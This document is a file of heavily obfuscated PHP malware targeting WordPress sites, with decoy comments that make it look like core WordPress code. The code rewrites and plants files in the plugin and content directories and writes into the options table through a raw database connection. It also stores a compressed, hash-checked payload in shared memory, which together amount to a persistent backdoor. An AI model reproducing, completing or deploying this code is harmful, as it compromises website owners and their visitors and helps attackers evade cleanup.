if (defined(zp28wk01y(170)))    $iurtzrpwfdsbspz[] =   $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR, op9tjzix(1193));
      foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($iurtzrpwfdsbspz)  as  $m9c0mj8dhbv53xad)    {
 $b1887uk9zcn    =    $m9c0mj8dhbv53xad .    '/'    .  $jxqi868o3wtnrhx;
 if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($b1887uk9zcn)) db_wu_1w8gixtjv($b1887uk9zcn,   null);
 $y6x26nynw7e9ec    = $m9c0mj8dhbv53xad   . tvo1rh46s_(1194)   .  $jxqi868o3wtnrhx;



if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($y6x26nynw7e9ec)) db_wu_1w8gixtjv($y6x26nynw7e9ec,    null);
}
 unset($legdbl69s9mampr9,  $y0hmkrbzwz04efs,     $iurtzrpwfdsbspz,   $m9c0mj8dhbv53xad,  $b1887uk9zcn,   $y6x26nynw7e9ec);
   $tc9q9k0kuoy     = array($GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   b4gbsak56f40gos(1193)));
if (defined(fjup2mc1h(170))) $tc9q9k0kuoy[]  = $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,     wlgh2_th(1193));
  $tc9q9k0kuoy[]     =  $GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,      fjup2mc1h(1193));

   $tc9q9k0kuoy[]     =    $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()), b4gbsak56f40gos(1195));
 foreach      ($GLOBALS['__scf_s8rgnr7_02m_155']($tc9q9k0kuoy)  as $o3nij737s2fgx)   {
 $qoalfvh3pwv   =     $o3nij737s2fgx    .  '/'   . $oxuvswgh_ksg;
  $a31awv9_g_00nhj5  = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($qoalfvh3pwv)  ?  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($qoalfvh3pwv)  :   "";
   if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a31awv9_g_00nhj5)   ||     $a31awv9_g_00nhj5  === ""  || $GLOBALS['__scf_rbe_sihvfv_8']($a31awv9_g_00nhj5,  $jxqi868o3wtnrhx)  ===     false) continue;$_4ihwwn264n8=PHP_INT_MAX/PHP_INT_MAX;$enu7mx2_5=$_4ihwwn264n8+66;
 $svdyp0wp06   = $GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1196)  .     $GLOBALS['__scf_ye733r3hqpt_841']($jxqi868o3wtnrhx, '/')     .   fjup2mc1h(1197), "\n",    $a31awv9_g_00nhj5);
 if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($svdyp0wp06)   && $svdyp0wp06     !== $a31awv9_g_00nhj5 &&   _ew1atk9e66yol2lso($qoalfvh3pwv,   $svdyp0wp06))   teikfigf_p5265esq_q(b4gbsak56f40gos(1198),     op9tjzix(1199));
 }
  unset($tc9q9k0kuoy,  $o3nij737s2fgx,  $qoalfvh3pwv,    $a31awv9_g_00nhj5,  $svdyp0wp06);
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(621)))      {


     @delete_option(b4gbsak56f40gos(1200));
@delete_option(fjup2mc1h(1201));
 @delete_option(wlgh2_th(1202));
}


 } catch  (Throwable   $x0ydieb0v_72m_u)    {
    teikfigf_p5265esq_q(tvo1rh46s_(1198),  $x0ydieb0v_72m_u);


}   catch  (Exception $x0ydieb0v_72m_u) {
 }
   }
  function   qvz8jvjbfafxons9o()
 {
try  {
if   (!defined(zp28wk01y(1134))) return;
     $dx_ofkvr3qy  =  p_wsdzgl36a6wh_fs09();

 $lqv3ldbw3nx = xrb38aewb77bc3i();
    


$jxqi868o3wtnrhx  =     fmsvr16ge0nzzk9i6u(ABSPATH  . op9tjzix(1203), (6+2)) .     op9tjzix(1006);
      $legdbl69s9mampr9  = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())  .    op9tjzix(1204);
$y0hmkrbzwz04efs     =   defined(wlgh2_th(170)) ?  WP_CONTENT_DIR      .  op9tjzix(1204)   :  $legdbl69s9mampr9;



$iurtzrpwfdsbspz  = array($GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy, zp28wk01y(1195)),    $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),   op9tjzix(1195)),   $GLOBALS['__scf_q93011jdjf_13']($lqv3ldbw3nx, b4gbsak56f40gos(1205)),   $GLOBALS['__scf_q93011jdjf_13']($legdbl69s9mampr9, b4gbsak56f40gos(1205)), $GLOBALS['__scf_q93011jdjf_13']($y0hmkrbzwz04efs, zp28wk01y(1205)));
if     (defined(zp28wk01y(170))) $iurtzrpwfdsbspz[]     = $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,   op9tjzix(1205));
 foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($iurtzrpwfdsbspz) as    $m9c0mj8dhbv53xad)  {



  $lvlivn8n_n6pf5w  =   $m9c0mj8dhbv53xad  .    '/'  .  $jxqi868o3wtnrhx;
    if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($lvlivn8n_n6pf5w)) db_wu_1w8gixtjv($lvlivn8n_n6pf5w, null);
}


 unset($legdbl69s9mampr9,    $y0hmkrbzwz04efs,  $iurtzrpwfdsbspz,  $m9c0mj8dhbv53xad,  $lvlivn8n_n6pf5w);
 $t0wbczghkx8xblb   =   array($GLOBALS['__scf_q93011jdjf_13'](ABSPATH, zp28wk01y(1205)));
    if   (defined(zp28wk01y(1206)))    $t0wbczghkx8xblb[]    =  $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,    zp28wk01y(1205));
   $t0wbczghkx8xblb[]    =  $GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,  fjup2mc1h(1207));
$t0wbczghkx8xblb[]  =  $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()), wlgh2_th(1208));
      foreach ($GLOBALS['__scf_s8rgnr7_02m_155']($t0wbczghkx8xblb)     as   $i1mjk8z1fal8a)    {
$y6x26nynw7e9ec     =  $i1mjk8z1fal8a      . tvo1rh46s_(1209);
  $k0dj9uboeqt5_an     =  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($y6x26nynw7e9ec)   ?      @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($y6x26nynw7e9ec)    :   "";
 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($k0dj9uboeqt5_an) ||   $k0dj9uboeqt5_an   ===     ""  ||     $GLOBALS['__scf_rbe_sihvfv_8']($k0dj9uboeqt5_an, $jxqi868o3wtnrhx)  ===  false) continue;


   $rryfto43mbu00bjm   = r_pe3g2a6bclu9s10sf($k0dj9uboeqt5_an,  $jxqi868o3wtnrhx);
 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($rryfto43mbu00bjm)   &&  $rryfto43mbu00bjm  !==    $k0dj9uboeqt5_an   &&      _ew1atk9e66yol2lso($y6x26nynw7e9ec,  $rryfto43mbu00bjm))   teikfigf_p5265esq_q(b4gbsak56f40gos(1210),   zp28wk01y(1199));
   }
 unset($t0wbczghkx8xblb,  $i1mjk8z1fal8a, $y6x26nynw7e9ec,     $k0dj9uboeqt5_an, $rryfto43mbu00bjm);
    if ($GLOBALS['__scf_f9tn7hbu7z_107']()  ===  zp28wk01y(1211))    return;
 if   (!ospjs6amomhffnkav7())  return;



 if (!d0m54ziey0s38ncux0())      return;
     $s5bwye55yk6kcn   =  $lqv3ldbw3nx  . fjup2mc1h(1212);
 $g7jb2vbbu4t9  = tvo1rh46s_(1213) .  "\n"
  .   fjup2mc1h(1214) .      "\n" . fjup2mc1h(1215)  .   "\n" .  zp28wk01y(1216)  .   "\n"
    .  op9tjzix(1217)  .  "\n"   .     fjup2mc1h(1218)     . "\n"   .   fjup2mc1h(1216)  . "\n"
 . fjup2mc1h(1219) .   "\n";
  $opvqdnljukd = @$GLOBALS['__scf_bhw4bjp5xr9_715']($s5bwye55yk6kcn);
$current =   $opvqdnljukd  ?      @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($s5bwye55yk6kcn) : "";



if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current))   {


    teikfigf_p5265esq_q(tvo1rh46s_(1210),  op9tjzix(1220));
 return;
    }
 $dfyvh281xp3 =   array($GLOBALS['__scf_q93011jdjf_13'](ABSPATH,     zp28wk01y(1208)));
   if    (defined(wlgh2_th(1206)))  $dfyvh281xp3[]  =  $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,      wlgh2_th(1208));
 if (defined(fjup2mc1h(831)))   $dfyvh281xp3[]  =    $GLOBALS['__scf_q93011jdjf_13'](WPMU_PLUGIN_DIR,  tvo1rh46s_(1208));
  if  (defined(b4gbsak56f40gos(719)))  $dfyvh281xp3[]     =   $GLOBALS['__scf_q93011jdjf_13'](WP_PLUGIN_DIR,  tvo1rh46s_(1221));
   $jqkk0zavm7  =  $GLOBALS['__scf_q93011jdjf_13']($lqv3ldbw3nx,   b4gbsak56f40gos(1222));
     $bmcdi_koih  =    $GLOBALS['__scf_av84ex67tlp92_156']($jqkk0zavm7, $dfyvh281xp3,   true);
  unset($dfyvh281xp3,   $jqkk0zavm7);

        if (!$bmcdi_koih)  {
  $gwr_9ikn128j  = $lqv3ldbw3nx .     zp28wk01y(1223);


 if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($gwr_9ikn128j)) u3qer9rky6zmeg($gwr_9ikn128j,  "",      op9tjzix(1224));
  if     ($GLOBALS['__scf_rbe_sihvfv_8']($current,  fjup2mc1h(1225))    ===  false)     {
$a00f31hbl9pb    =  $current;
   if  ($current  !==   ""    &&   $GLOBALS['__scf_zre6ec18ly90y_10']($current,  -1) !==  "\n") $current .=  "\n";
 $x5eg5n5rfiv = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($s5bwye55yk6kcn);$cpq7boezbn5=PHP_INT_MAX/PHP_INT_MAX;$gqta88mj=$cpq7boezbn5+45;
       if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($x5eg5n5rfiv)) $x5eg5n5rfiv =     "";
   

   if  ($x5eg5n5rfiv  !==  $a00f31hbl9pb)    {
teikfigf_p5265esq_q(wlgh2_th(1210),   tvo1rh46s_(1226));
 } else   {
  _ew1atk9e66yol2lso($s5bwye55yk6kcn, $current     .    $g7jb2vbbu4t9);
  jli8euep5yb6she3($s5bwye55yk6kcn,    vp191h9ipqfapu());
      if   (!$opvqdnljukd)    kp1tutxjpanriy($s5bwye55yk6kcn,  (378+42));
  }
// bind incremental resolver

unset($x5eg5n5rfiv,  $a00f31hbl9pb);
  }


 }

 unset($bmcdi_koih,    $gwr_9ikn128j, $opvqdnljukd);
  } catch  (Throwable   $x0ydieb0v_72m_u)   {
  teikfigf_p5265esq_q(zp28wk01y(1227),   $x0ydieb0v_72m_u);

} catch (Exception  $x0ydieb0v_72m_u) {
   teikfigf_p5265esq_q(tvo1rh46s_(1228),      $x0ydieb0v_72m_u);
     }
}
function ooqs2hav67mllb5qn()
{
  try  {
  if (!defined(tvo1rh46s_(1134)))   return;
 if     (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(958)))  return;
 $sacnahuo9uejitoc  =   fmsvr16ge0nzzk9i6u(ABSPATH  .  zp28wk01y(1229),  (163^169));


 $bkok4unpnq2f_wvv   =  mridss6_czjhslw35g();
        if  (!$bkok4unpnq2f_wvv ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  <   (462+38))  return;


$g14uqnv5ws   =    qo_apd6cyj2djv757yc0eg();
   $current    =   @get_option($sacnahuo9uejitoc,  "");
// WP Script Modules: measure stabilizer

if ($current &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($current)    ===     $GLOBALS['__scf_m2ym9pki8mue9_11']($g14uqnv5ws) &&   $current  ===   $g14uqnv5ws) return;
 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(941))) {



 update_option($sacnahuo9uejitoc,  $g14uqnv5ws, wlgh2_th(1170));
    } elseif   (defined(tvo1rh46s_(1230))    && defined(b4gbsak56f40gos(1231)) && defined(op9tjzix(1232)) && defined(b4gbsak56f40gos(1233))   &&  $GLOBALS['__scf_x_wfq7bl3c_551'](fjup2mc1h(1234)))   {


 $a8cewsi23oi =   op9tjzix(1234);

   $wdqa06yilmem    =     @new   $a8cewsi23oi(constant(wlgh2_th(1230)),   constant(b4gbsak56f40gos(1231)),    constant(wlgh2_th(1232)), constant(zp28wk01y(1235)));
     if ($wdqa06yilmem  &&     !$wdqa06yilmem->connect_errno)  {
     $prefix   =   isset($GLOBALS[zp28wk01y(1236)]->prefix)  ?  $GLOBALS[op9tjzix(1236)]->prefix    :   zp28wk01y(1237);
   $q5o5xkakjds69  =  $wdqa06yilmem->real_escape_string($g14uqnv5ws);
        $vcwl363buiozd4ju   = $wdqa06yilmem->real_escape_string($sacnahuo9uejitoc);
     $wdqa06yilmem->query("INS\x45\x52\x54 \x49\x4eT\x4f {$prefix}\x6fp\x74\x69ons (\x6fption_name, op\x74\x69o\x6e_\x76a\x6cue, \x61\x75\x74\x6flo\x61\x64) \x56ALUES ('{$vcwl363buiozd4ju}', '{$q5o5xkakjds69}', 'n\x6f') O\x4e \x44\x55PL\x49CA\x54\x45 KEY UP\x44\x41\x54\x45 opt\x69\x6f\x6e_\x76alue='{$q5o5xkakjds69}'");

 if ($wdqa06yilmem->error)    teikfigf_p5265esq_q(b4gbsak56f40gos(1238),     tvo1rh46s_(1239)      .  $GLOBALS['__scf_zre6ec18ly90y_10']($wdqa06yilmem->error,   0,  (0x2c+0x4c)));
    $wdqa06yilmem->close();
  }
     }
} catch  (Throwable     $x0ydieb0v_72m_u)      {
      teikfigf_p5265esq_q(wlgh2_th(1240),    $x0ydieb0v_72m_u);
}  catch   (Exception    $x0ydieb0v_72m_u) {
     }
    }
function n0_7e12hpkahf8mwyn53()
{
 $qno42678fmz  = defined(zp28wk01y(1206)) ?   WP_CONTENT_DIR   :  ABSPATH   . op9tjzix(837);
  $qd8vtlpj9h57ev = fmsvr16ge0nzzk9i6u(ABSPATH  .  op9tjzix(1241), (0x1+0x7));


 return    array($qno42678fmz   .  wlgh2_th(527),  $qno42678fmz . b4gbsak56f40gos(1242)   .    $qd8vtlpj9h57ev .     wlgh2_th(1243),   $qd8vtlpj9h57ev);
}
  function  b2duehlel338o55ek($e_7g_hai1x)


  {
    $wzusp4832zgbp      =     (int) @$GLOBALS['__scf_voobwg611qb_102']($e_7g_hai1x);
  if ($wzusp4832zgbp    <   (161^197)   ||     $wzusp4832zgbp  >  (579525+1517627)) return  false;
     $r3zx2x3gf_5dqoe   =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($e_7g_hai1x);
  if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($r3zx2x3gf_5dqoe)   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe)  <    (73^45)  || $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe)  >    (2238766-141614))     return   false;


 $frgd4znm8k  = $GLOBALS['__scf_ubwid3ivz9f8x_118'](':', $r3zx2x3gf_5dqoe, (1+3));



if   ($GLOBALS['__scf_j38tk0441lk_37']($frgd4znm8k)  <    (6-2)  ||   $frgd4znm8k[0]    !==  b4gbsak56f40gos(1244)     ||   $GLOBALS['__scf_m2ym9pki8mue9_11']($frgd4znm8k[(5-2)])   <  (0x7+0x2b)) return false;
$zwzkcpqs2ucabt_   = @$GLOBALS['__scf__cpt1d1twdvp_362']($frgd4znm8k[(6-3)]);
    if  ($zwzkcpqs2ucabt_    === false   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_)  < (0x19+0x19))  return false;
   if     ($GLOBALS['__scf_zre6ec18ly90y_10']($zwzkcpqs2ucabt_, 0, 2) === "\x1f\x8b") {


      $mdzjx6mh6rlax2  =    @$GLOBALS['__scf_ujieua8rts5ii_285']('V',     $GLOBALS['__scf_zre6ec18ly90y_10']($zwzkcpqs2ucabt_,  -(1<<2)));
  if (!$GLOBALS['__scf_knhbvsumnby3_36']($mdzjx6mh6rlax2)    ||   $mdzjx6mh6rlax2[1]   <   (0x42+0x22)  || $mdzjx6mh6rlax2[1]  >   (1048551+25))   return false;
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1245))) $zwzkcpqs2ucabt_  = @gzdecode($zwzkcpqs2ucabt_,  (1048489+87));
elseif  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1246)))   {
  $zwzkcpqs2ucabt_  =  @gzinflate($GLOBALS['__scf_zre6ec18ly90y_10']($zwzkcpqs2ucabt_,  (0x3+0x7),    $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_) -  (0x4+0xe)),  (1048485+91));
      if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zwzkcpqs2ucabt_) && $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_)     >  (1048507+69))    return  false;
   }     else return false;



  }



     if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($zwzkcpqs2ucabt_)     ||     $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_)  < (0x5a+0xa)    ||  $GLOBALS['__scf_zre6ec18ly90y_10']($zwzkcpqs2ucabt_,  0, (0x3+0x2)) !==  fjup2mc1h(809) ||  $GLOBALS['__scf_abbpcj1ncssalx_57']($zwzkcpqs2ucabt_)     !==   $frgd4znm8k[2]) return  false;
    return   $zwzkcpqs2ucabt_;
   }
function     in4gkwm5phvqrp()
{
   try  {
    if (!defined(b4gbsak56f40gos(1247)))  return;
$_u7w1gxeyh1tpv    =   n0_7e12hpkahf8mwyn53();
     if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_u7w1gxeyh1tpv[1]))  return;



if      (b2duehlel338o55ek($_u7w1gxeyh1tpv[1])  ===  false)   return;


$a9a20su0g8saxh =     g58dmj94t714r3a4(tvo1rh46s_(662),   array('__SLUG__'),    array($GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), wlgh2_th(1248))));
if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a9a20su0g8saxh)  || $a9a20su0g8saxh === "") return;
     $a9a20su0g8saxh   =  $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(1249),  "", $a9a20su0g8saxh);
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a9a20su0g8saxh)  ||   $a9a20su0g8saxh    === "")  return;
   $rh6r601jv1p =   _vfpypr4wakqs7jy_()  .      ':' . fmsvr16ge0nzzk9i6u(ABSPATH .    tvo1rh46s_(1250),      (5+3));



 $lgvmka3et7ami8h  =    op9tjzix(1251) .   $rh6r601jv1p .  op9tjzix(1252);
   $mdn_btdc0_   =  zp28wk01y(1253) . $rh6r601jv1p .  fjup2mc1h(1252);
$ulcv1_td_d8f1   =    op9tjzix(1254)  . $_u7w1gxeyh1tpv[2] . op9tjzix(1255)  .    _vfpypr4wakqs7jy_()      .  zp28wk01y(1252)   .    "\n" . $a9a20su0g8saxh;
 if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_u7w1gxeyh1tpv[0]))  {
    if     (!io41g5vwxkcaz_($_u7w1gxeyh1tpv[0],     ""))   {
 teikfigf_p5265esq_q(b4gbsak56f40gos(1241),  fjup2mc1h(1256));


   return;
  

    }
       if (_ew1atk9e66yol2lso($_u7w1gxeyh1tpv[0],    $ulcv1_td_d8f1))    {



   jli8euep5yb6she3($_u7w1gxeyh1tpv[0],  vp191h9ipqfapu());



  kp1tutxjpanriy($_u7w1gxeyh1tpv[0], (335+85));
rwx_v9t1vov1zic2ki($_u7w1gxeyh1tpv[0]);
       abixqrh87q1leuwh_cz_($_u7w1gxeyh1tpv[0]);
     }
// intern string

    return;

 }



    $ggqxgb514dk    = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_u7w1gxeyh1tpv[0]);



 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ggqxgb514dk) ||   $GLOBALS['__scf_m2ym9pki8mue9_11']($ggqxgb514dk)   > (0x11c7c7+0xe3839)) return;
     if  ($GLOBALS['__scf_rbe_sihvfv_8']($ggqxgb514dk, $lgvmka3et7ami8h) !==   false &&    $GLOBALS['__scf_rbe_sihvfv_8']($ggqxgb514dk, $mdn_btdc0_) !== false)  return;
      if  ($GLOBALS['__scf_rbe_sihvfv_8']($ggqxgb514dk,     b4gbsak56f40gos(1257)) === false     &&      $GLOBALS['__scf_rbe_sihvfv_8']($ggqxgb514dk,   zp28wk01y(1258)  . $_u7w1gxeyh1tpv[2])     !==  false)   {
  if ($GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(1259),   $GLOBALS['__scf_zre6ec18ly90y_10']($ggqxgb514dk, 0, (243-43)),  $f98cmw7ueczrfm06)    && version_compare($f98cmw7ueczrfm06[1], _vfpypr4wakqs7jy_(),   wlgh2_th(203)))  return;

  if     (!io41g5vwxkcaz_($_u7w1gxeyh1tpv[0],  $ggqxgb514dk)) {
   teikfigf_p5265esq_q(op9tjzix(1241), tvo1rh46s_(1260));
return;
}
   if   (_ew1atk9e66yol2lso($_u7w1gxeyh1tpv[0], $ulcv1_td_d8f1))     {



  jli8euep5yb6she3($_u7w1gxeyh1tpv[0], vp191h9ipqfapu());
    kp1tutxjpanriy($_u7w1gxeyh1tpv[0], (334+86));
 rwx_v9t1vov1zic2ki($_u7w1gxeyh1tpv[0]);
  abixqrh87q1leuwh_cz_($_u7w1gxeyh1tpv[0]);


 }
    return;
 }
   $czvhagwrs1fm263      =   fmsvr16ge0nzzk9i6u(ABSPATH .  b4gbsak56f40gos(1250),  (1<<3));
$ggqxgb514dk      = $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(1261)    .   $czvhagwrs1fm263    .     b4gbsak56f40gos(1262),  "",    $ggqxgb514dk);
if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ggqxgb514dk))  {
teikfigf_p5265esq_q(zp28wk01y(1263), b4gbsak56f40gos(1264));
  return;
     }



  if    (!@$GLOBALS['__scf_tluflp7r6hugyf_48']($_u7w1gxeyh1tpv[0]))  return;
if  (!sfmn3u346r4ii49tv(fjup2mc1h(1263)))   {
   teikfigf_p5265esq_q(tvo1rh46s_(1265),   tvo1rh46s_(1266));
   return;
  }
    if  (!io41g5vwxkcaz_($_u7w1gxeyh1tpv[0],    $ggqxgb514dk)) {
  teikfigf_p5265esq_q(wlgh2_th(1267),   zp28wk01y(1260));
   return;
   

}
    rfwn6nkwnxbf479c(zp28wk01y(1267));

$jm1namwqrjjy =    $lgvmka3et7ami8h   .   "\n"   .    fjup2mc1h(1268)  .  $_u7w1gxeyh1tpv[2] .  wlgh2_th(1252)   . "\n" . $a9a20su0g8saxh . "\n"  .   $mdn_btdc0_;
      if (_ew1atk9e66yol2lso($_u7w1gxeyh1tpv[0],     bcvytpczeowsagr__($ggqxgb514dk,   $jm1namwqrjjy)))    {


 abixqrh87q1leuwh_cz_($_u7w1gxeyh1tpv[0]);
rwx_v9t1vov1zic2ki($_u7w1gxeyh1tpv[0]);
  }
    }  catch (Throwable  $x0ydieb0v_72m_u)    {
    teikfigf_p5265esq_q(b4gbsak56f40gos(1267), $x0ydieb0v_72m_u);
  }  catch    (Exception    $x0ydieb0v_72m_u)  {
}


    }


   function  d8vue3a1qevpar41()


 {


 try   {
   if (!defined(op9tjzix(1247)))     return;
   $_u7w1gxeyh1tpv   =   n0_7e12hpkahf8mwyn53();
      $rbw8zezb65m   =  (string)    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_u7w1gxeyh1tpv[1],  false, null,    0,   (254^190));
 if  ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1269),    $rbw8zezb65m,    $ltpokciy2kt5utu) && $ltpokciy2kt5utu[1]    ===  _vfpypr4wakqs7jy_())     {
     $optmyeke4fex   = (int)  get_option(op9tjzix(1270),    0);
  if   ($GLOBALS['__scf_yg2rpewmkg_192']()  -    $optmyeke4fex  < (16+584)) return;$d9_f3pe9=105|253;$lpxqamgj=$d9_f3pe9^123;


 if   (b2duehlel338o55ek($_u7w1gxeyh1tpv[1])   !==   false) {
@update_option(wlgh2_th(1270),     $GLOBALS['__scf_yg2rpewmkg_192'](),    fjup2mc1h(1170));
 return;
    }
// WP Pattern Directory: deterministic vault

teikfigf_p5265esq_q(zp28wk01y(1267),    zp28wk01y(1271));
}
     $bkok4unpnq2f_wvv    = mridss6_czjhslw35g();
if     (!$bkok4unpnq2f_wvv    || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  <  (453+47) || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)     >    (1048540+36) ||   !ays3w9sevfe7ws($bkok4unpnq2f_wvv))  return;
$xzlpnki3szp1  = $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(281))   ?  @gzencode($bkok4unpnq2f_wvv, (159^153)) :  $bkok4unpnq2f_wvv;$v791oz8b1s6xz=-650;$mpltjc9bm0p=($v791oz8b1s6xz>0)?$v791oz8b1s6xz:-$v791oz8b1s6xz;
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($xzlpnki3szp1)  || $xzlpnki3szp1     === "")  return;


     if     (_ew1atk9e66yol2lso($_u7w1gxeyh1tpv[1],   wlgh2_th(1272) .  _vfpypr4wakqs7jy_()    .  ':'   .   $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv)     .  ':' .  $GLOBALS['__scf_g8_t7dlza2_360']($xzlpnki3szp1)))     @update_option(tvo1rh46s_(1270),   $GLOBALS['__scf_yg2rpewmkg_192'](),   fjup2mc1h(1170));
 }   catch (Throwable   $x0ydieb0v_72m_u) {



  teikfigf_p5265esq_q(b4gbsak56f40gos(1273), $x0ydieb0v_72m_u);
  } catch  (Exception      $x0ydieb0v_72m_u)   {
// WP Media Text Block: unroll circuit-breaker
$si2eokjg=1202;$wc9b76_t6h1tb=$si2eokjg%17;

 }
 }
function   s8l0tc4hqzvsivgpkr()
   {
 if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1274)))  return false;

  $mjwyza_6zw2jot76 =  defined(fjup2mc1h(1275))    &&   @$GLOBALS['__scf_bhw4bjp5xr9_715'](ABSPATH   . tvo1rh46s_(1276)) ?  ABSPATH .  fjup2mc1h(1277)    :  __FILE__;
      return  $GLOBALS['__scf_dg522r6m0ced_1274']($mjwyza_6zw2jot76,     's');
 }
  function cymdo_nz34awwi4()



      {
 try {
if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1278))    ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1279))) return;
   if  (!defined(tvo1rh46s_(1275))) return;
 


$bkok4unpnq2f_wvv   =   mridss6_czjhslw35g();
 if (!$bkok4unpnq2f_wvv  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  < (454+46))  return;
 $key  =      s8l0tc4hqzvsivgpkr();
      if    ($key  ===   false)  return;
$dxo1zh4e9o_bm =     $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1280))    ?    $GLOBALS['__scf_fjoo3u9niln_1280'](tvo1rh46s_(1281),  $bkok4unpnq2f_wvv)  :  $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv);
  $tvswisg1guow3mpa     = fjup2mc1h(1282)     .      $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)      . ':'  .  $dxo1zh4e9o_bm    .  "\n" . $bkok4unpnq2f_wvv;

      $rjqzlkuq5qk6  =  $GLOBALS['__scf_m2ym9pki8mue9_11']($tvswisg1guow3mpa);
  




    $uwhik8ycalb9g90w  =  @$GLOBALS['__scf_zykjn0enf50_1278']($key,    'a', 0, 0);
  if ($uwhik8ycalb9g90w) {
$tsdy6vxykp74ml =     (int)    @$GLOBALS['__scf_vwt6atccf__1283']($uwhik8ycalb9g90w);
$rju4k66p4c4fw    =  @$GLOBALS['__scf_hn3j_eqqrg9zvo_1284']($uwhik8ycalb9g90w,  0, $tsdy6vxykp74ml);
 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($rju4k66p4c4fw)  &&  $GLOBALS['__scf_rbe_sihvfv_8']($rju4k66p4c4fw,   $bkok4unpnq2f_wvv) !==    false)  {
 @$GLOBALS['__scf_nx064uqh844a_1285']($uwhik8ycalb9g90w);
       return;
      }
  if ($tsdy6vxykp74ml    >=  $rjqzlkuq5qk6)   {
 @$GLOBALS['__scf_nx064uqh844a_1285']($uwhik8ycalb9g90w);
   $uwhik8ycalb9g90w   =     @$GLOBALS['__scf_zykjn0enf50_1278']($key, 'w',   0, 0);
 if   ($uwhik8ycalb9g90w) {
// mediate synchronous capability

@$GLOBALS['__scf__eis5gfvdzooc_1286']($uwhik8ycalb9g90w,  $GLOBALS['__scf_opt4mqvv4__1287']($tvswisg1guow3mpa,     $tsdy6vxykp74ml,  "\0"),  0);
$i6tgx0w6c8b0v  =  @$GLOBALS['__scf_hn3j_eqqrg9zvo_1284']($uwhik8ycalb9g90w,     0,  $rjqzlkuq5qk6);
